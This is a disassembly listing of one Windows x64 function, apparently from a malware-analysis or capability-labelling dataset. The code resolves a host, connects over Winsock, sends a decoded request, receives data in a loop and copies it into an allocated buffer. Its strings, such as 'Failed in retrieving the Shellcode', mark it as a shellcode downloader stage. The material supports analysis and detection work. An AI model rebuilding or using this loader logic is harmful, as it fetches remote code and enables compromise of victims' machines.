Function at 0x140002a10
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2c98
call fcn.1400040b0
sub rsp, rax
mov qword [rsp + 0x98], 0xfffffffffffffffe
mov rax, qword [0x140008018]
xor rax, rsp
mov qword [rsp + 0x2c80], rax
lea rax, [rsp + 0x168]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov edx, 0x18
lea rcx, [rsp + 0x178]
call fcn.1400028a0
lea rcx, [rsp + 0x178]
call fcn.1400022a0
nop
mov qword [rsp + 0x38], 0xffffffffffffffff
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x48], 0
movzx eax, byte [0x1400062f0]
mov byte [rsp + 0x370], al
lea rax, [rsp + 0x371]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
mov byte [rsp + 0x360], 0xed
mov byte [rsp + 0x361], 0xef
mov byte [rsp + 0x362], 0xfe
mov byte [rsp + 0x363], 0x8a
mov byte [rsp + 0x364], 0x85
mov byte [rsp + 0x365], 0xaa
mov edx, 6
lea rcx, [rsp + 0x360]
call section..text
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, 6
lea rcx, [rsp + 0x360]
call section..text
mov rdx, qword [rsp + 0x2cc8]
lea rcx, [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 0x2800
xor edx, edx
lea rcx, [rsp + 0x480]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x50], 0x2800
lea rdx, [rsp + 0x1c0]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140002bf4
mov edx, dword [rsp + 0x30]
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140003330
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0xd0]
lea rcx, [rsp + 0xc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0xd0]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
jmp 0x140003200
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x190]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x194], 2
mov dword [rsp + 0x198], 1
mov dword [rsp + 0x19c], 6
lea r9, [rsp + 0x160]
lea r8, [rsp + 0x190]
mov rdx, qword [rsp + 0x2cc0]
mov rcx, qword [rsp + 0x2cb8]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140002cd6
mov edx, dword [rsp + 0x30]
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.140003330
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0xf0]
lea rcx, [rsp + 0xe0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0xf0]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
jmp 0x140003200
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x48], rax
jmp 0x140002cf3
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140002e0e
mov rax, qword [rsp + 0x48]
mov r8d, dword [rax + 0xc]
mov rax, qword [rsp + 0x48]
mov edx, dword [rax + 8]
mov rax, qword [rsp + 0x48]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
jne 0x140002daa
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140003330
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rsp + 0x100]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0x110]
lea rcx, [rsp + 0x100]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0x110]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
jmp 0x140003200
mov r8, qword [rsp + 0x2cc0]
mov rdx, qword [rsp + 0x2cb8]
lea rcx, str.___Connect_to__s:_s
call fcn.140003330
mov rax, qword [rsp + 0x48]
mov r8d, dword [rax + 0x10]
mov rax, qword [rsp + 0x48]
mov rdx, qword [rax + 0x20]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
jne 0x140002e07
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rsp + 0x38], 0xffffffffffffffff
jmp 0x140002ce5
jmp 0x140002e0e
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp qword [rsp + 0x38], 0xffffffffffffffff
jne 0x140002e9b
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140003330
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0x130]
lea rcx, [rsp + 0x120]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0x130]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
jmp 0x140003200
lea rcx, [rsp + 0x370]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
xor r9d, r9d
mov r8d, eax
lea rdx, [rsp + 0x370]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_send]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
jne 0x140002f5a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.140003330
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rsp + 0x140]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0x150]
lea rcx, [rsp + 0x140]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0x150]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
jmp 0x140003200
mov edx, dword [rsp + 0x30]
lea rcx, str._n___Sent__ld_Bytes_n
call fcn.140003330
mov edx, 1
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_shutdown]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
jne 0x14000300d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.140003330
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rax, [rsp + 0x88]
lea rcx, [rsp + 0x78]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0x88]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
jmp 0x140003200
xor r9d, r9d
mov r8d, dword [rsp + 0x50]
lea rdx, [rsp + 0x480]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jle 0x140003045
mov edx, dword [rsp + 0x30]
lea rcx, str.___Received__d_Bytes_n
call fcn.140003330
jmp 0x14000306e
cmp dword [rsp + 0x30], 0
jne 0x14000305a
lea rcx, str.___Connection_closed_n
call fcn.140003330
jmp 0x14000306e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call fcn.140003330
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x178]
call fcn.1400029b0
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
movsxd rax, dword [rsp + 0x30]
lea rax, [rsp + rax + 0x480]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x480]
mov r8, qword [rsp + 0x68]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x178]
call fcn.140002100
mov r8d, 0x2800
xor edx, edx
lea rcx, [rsp + 0x480]
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x30], 0
jg 0x14000300d
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x178]
call fcn.140002960
movzx eax, al
cmp eax, 1
jne 0x14000311c
lea rcx, str.Failed_in_retrieving_the_Shellcode
call fcn.140003330
lea rcx, [rsp + 0x178]
call fcn.140003290
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x40], 0
jmp 0x140003152
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x178]
call fcn.140003290
mov rcx, qword [rsp + 0x70]
cmp rcx, rax
jae 0x14000319a
movsxd rax, dword [rsp + 0x40]
mov rdx, rax
lea rcx, [rsp + 0x178]
call fcn.140002300
movsxd rcx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
movzx eax, byte [rax]
mov byte [rdx + rcx], al
jmp 0x140003148
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0xb0]
lea rcx, [rsp + 0x168]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x178]
call fcn.1400022d0
lea rax, [rsp + 0xb0]
mov rdi, qword [rsp + 0x2cb0]
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2cb0]
mov rcx, qword [rsp + 0x2c80]
xor rcx, rsp
call fcn.140004120
add rsp, 0x2c98
pop rdi
pop rsi
ret